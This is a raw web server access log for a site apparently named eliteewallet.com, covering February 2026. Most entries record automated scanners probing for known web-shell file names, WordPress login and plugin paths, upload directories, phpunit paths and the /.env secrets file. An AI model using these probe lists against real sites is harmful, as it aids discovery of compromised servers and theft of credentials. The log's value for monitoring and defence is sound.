HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:31 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:35 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:38 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:42 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:46 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:53 +0300] "GET /Xleet.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:20 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:26 +0300] "GET /file8.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:29 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:30 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:30 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:34 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:36 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:39 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:41 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:28 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:31 +0300] "GET /wp-configss.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:34 +0300] "GET /Mhbgf.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:38 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:39 +0300] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:42 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:43 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:01 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:39:39 +0300] "GET /dialog.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:40:53 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:43 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:46 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:53 +0300] "GET /verify.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:10 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:13 +0300] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:12 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:02 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:20 +0300] "GET /maint.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:39:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:39:59 +0300] "GET /twenty.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:44:12 +0300] "GET /wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:11 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:56 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:45:58 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:28 +0300] "GET /elFinderConnector.class.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:32 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:35 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:35 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:39 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:08 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:13 +0300] "GET /json.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:16 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 162.142.125.193 - - [07/Feb/2026:23:40:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 20.205.233.243 - - [07/Feb/2026:23:42:28 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:31 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:35 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:37 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:41 +0300] "GET /file13.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:45 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:23 +0300] "GET /rk2.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:27 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:31 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:43:55 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:46:18 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:51 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:47:54 +0300] "GET /c.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:39:47 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:39:51 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:01 +0300] "GET /makeasmtp.php?p HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:27 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:28 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:41:32 +0300] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:00 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:22 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:42:22 +0300] "GET /issue.php HTTP/1.1" 301 795 "-" "-" 20.205.233.243 - - [07/Feb/2026:23:46:08 +0300] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [07/Feb/2026:23:46:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 20.205.233.243 - - [07/Feb/2026:23:41:21 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 138.199.136.174 - - [08/Feb/2026:01:25:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 43.130.72.40 - - [08/Feb/2026:01:30:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.209.196.238 - - [08/Feb/2026:01:33:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.153.34.245 - - [08/Feb/2026:00:58:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:120.0) Gecko/20100101 Firefox/120.0" 109.248.14.146 - - [08/Feb/2026:02:33:57 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Herring/95.1.8810.11" 182.44.9.147 - - [08/Feb/2026:02:26:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.10.83.158 - - [08/Feb/2026:02:46:54 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.135.144.126 - - [08/Feb/2026:02:47:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.226.5.135 - - [08/Feb/2026:05:55:39 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 172.213.144.187 - - [08/Feb/2026:05:34:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [08/Feb/2026:05:34:55 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [08/Feb/2026:05:34:58 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [08/Feb/2026:05:35:01 +0300] "GET /;k.php HTTP/1.1" 301 795 "-" "-" 94.26.106.114 - - [08/Feb/2026:07:57:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.203.129.2 - - [08/Feb/2026:08:07:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:08:07:07 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:08:07:10 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:08:07:14 +0300] "GET /;k.php HTTP/1.1" 301 795 "-" "-" 14.181.206.116 - - [08/Feb/2026:07:19:46 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 14.172.93.216 - - [08/Feb/2026:07:19:32 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:05 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:04 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:05 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:04 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:05 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:04 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:03 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 182.42.105.85 - - [08/Feb/2026:08:48:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.245 - - [08/Feb/2026:08:59:04 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [08/Feb/2026:08:59:05 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 89.187.187.84 - - [08/Feb/2026:10:05:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 160.25.237.130 - - [08/Feb/2026:09:38:57 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.156.168.214 - - [08/Feb/2026:09:12:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.134.141.244 - - [08/Feb/2026:10:11:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 139.59.229.49 - - [08/Feb/2026:10:54:06 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 45.153.34.46 - - [08/Feb/2026:12:44:20 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36" 51.120.74.232 - - [08/Feb/2026:14:33:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 134.209.160.128 - - [08/Feb/2026:14:36:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 80.85.246.214 - - [08/Feb/2026:14:27:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.120.74.232 - - [08/Feb/2026:14:33:14 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 120.26.0.11 - - [08/Feb/2026:13:25:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 220.181.51.90 - - [08/Feb/2026:14:20:46 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 51.120.74.232 - - [08/Feb/2026:14:33:20 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 51.120.74.232 - - [08/Feb/2026:14:33:23 +0300] "GET /;k.php HTTP/1.1" 301 795 "-" "-" 51.120.74.232 - - [08/Feb/2026:15:29:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.120.74.232 - - [08/Feb/2026:15:29:46 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 51.120.74.232 - - [08/Feb/2026:15:29:47 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 51.120.74.232 - - [08/Feb/2026:15:29:47 +0300] "GET /;k.php HTTP/1.1" 301 795 "-" "-" 119.28.177.175 - - [08/Feb/2026:15:41:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.104.196 - - [08/Feb/2026:16:33:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.187.187.69 - - [08/Feb/2026:16:44:07 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:39 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:06 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:14 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:28 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:58 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:56 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:42 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:48 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:33 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:39 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:59 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:51:01 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:51:02 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:51:03 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:51:03 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:51:11 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:47 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:51 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:10 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:28 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:21 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:45 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:48 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:50 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:02 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:22 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:31 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 207.180.243.8 - - [08/Feb/2026:17:08:00 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 89.187.187.69 - - [08/Feb/2026:16:45:19 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:55 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:58 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:13 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:50:49 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:54 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:14 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:15 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:15 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:16 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:18 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:19 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:19 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:20 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:46 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:08 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:16 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:19 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:02 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:03 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:09 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:13 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:23 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:26 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:39 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 43.134.43.82 - - [08/Feb/2026:17:05:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 89.187.187.69 - - [08/Feb/2026:16:44:25 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:30 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:31 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:32 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:35 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:38 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:37 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:42 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:46 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:46:50 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:27 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:30 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:35 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:00 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:44:58 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:45:01 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:46 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:47:47 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:55 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 